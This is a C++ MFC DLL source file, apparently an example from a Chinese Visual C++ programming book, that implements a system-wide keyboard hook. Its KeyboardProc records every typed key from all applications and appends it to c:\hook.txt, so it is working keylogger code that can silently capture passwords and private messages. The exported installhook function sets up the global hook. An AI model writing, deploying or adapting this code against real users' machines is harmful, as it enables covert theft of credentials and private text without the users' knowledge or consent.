hodll.cpp

深入剖析Visual C++编程技术及应用实例

// hodll.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "hodll.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif


#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
FILE *f1;
#pragma data_seg()

HINSTANCE hins;
//	Note!
//
//		If this DLL is dynamically linked against the MFC
//		DLLs, any functions exported from this DLL which
//		call into MFC must have the AFX_MANAGE_STATE macro
//		added at the very beginning of the function.
//
//		For example:
//
//		extern "C" BOOL PASCAL EXPORT ExportedFunction()
//		{
//			AFX_MANAGE_STATE(AfxGetStaticModuleState());
//			// normal function body here
//		}
//
//		It is very important that this macro appear in each
//		function, prior to any calls into MFC.  This means that
//		it must appear as the first statement within the 
//		function, even before any object variable declarations
//		as their constructors may generate calls into the MFC
//		DLL.
//
//		Please see MFC Technical Notes 33 and 58 for additional
//		details.
//

/////////////////////////////////////////////////////////////////////////////
// CHodllApp

BEGIN_MESSAGE_MAP(CHodllApp, CWinApp)
//{{AFX_MSG_MAP(CHodllApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
//    DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CHodllApp construction


LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(
															  int nCode, 
															  WPARAM wParam, 
															  LPARAM lParam)
{
	
	char ch;			
	if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
	{		
		if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
		{
			f1=fopen("c:\\hook.txt","a+");
			if (wParam==VK_RETURN)
			{	ch='\n';
			fwrite(&ch,1,1,f1);
			}
			else
			{
				BYTE ks[256];
				GetKeyboardState(ks);
				WORD w;
				UINT scan;
				scan=0;
				ToAscii(wParam,scan,ks,&w,0);
				ch =char(w); 
				fwrite(&ch,1,1,f1);
			}
			fclose(f1);
		}
		
	}
	
	LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );	
	
	return  RetVal;
	
}
BOOL __declspec(dllexport)__stdcall installhook()
{
	f1=fopen("c:\\hook.txt","w");
	fclose(f1);
	hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
	
	return TRUE;
}
BOOL __declspec(dllexport)  UnHook()
{
	
	BOOL unhooked = UnhookWindowsHookEx(hkb);
	return unhooked;
} 


BOOL CHodllApp::InitInstance ()
{
	
	AFX_MANAGE_STATE(AfxGetStaticModuleState());
	hins=AfxGetInstanceHandle();
	return TRUE;
	
}
BOOL CHodllApp::ExitInstance ()
{
	return TRUE;
}

CHodllApp::CHodllApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CHodllApp object

CHodllApp theApp;